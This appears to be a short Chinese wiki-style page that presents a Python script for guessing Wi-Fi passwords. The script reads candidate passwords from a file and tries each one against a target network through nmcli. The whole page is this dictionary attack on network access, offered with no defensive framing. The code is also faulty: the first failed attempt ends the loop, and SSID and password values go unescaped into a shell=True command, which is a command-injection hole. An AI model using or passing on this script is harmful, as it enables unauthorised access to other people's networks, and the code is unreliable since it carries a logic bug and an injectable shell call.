Python尝试Wi-Fi密码
跳到导航
跳到搜索
import subprocess
def connect_wifi(ssid):
try:
with open("passwords.txt", "r") as file:
passwords = file.readlines()
for password in passwords:
password = password.strip()
command = f'nmcli device wifi connect "{ssid}" password "{password}"'
subprocess.check_call(command, shell=True)
print(f"使用密码 {password} 连接Wi - Fi成功。")
return
except (subprocess.CalledProcessError, FileNotFoundError):
print("连接Wi - Fi失败或者密码文件不存在。")
print("所有尝试的密码都无法连接Wi - Fi。")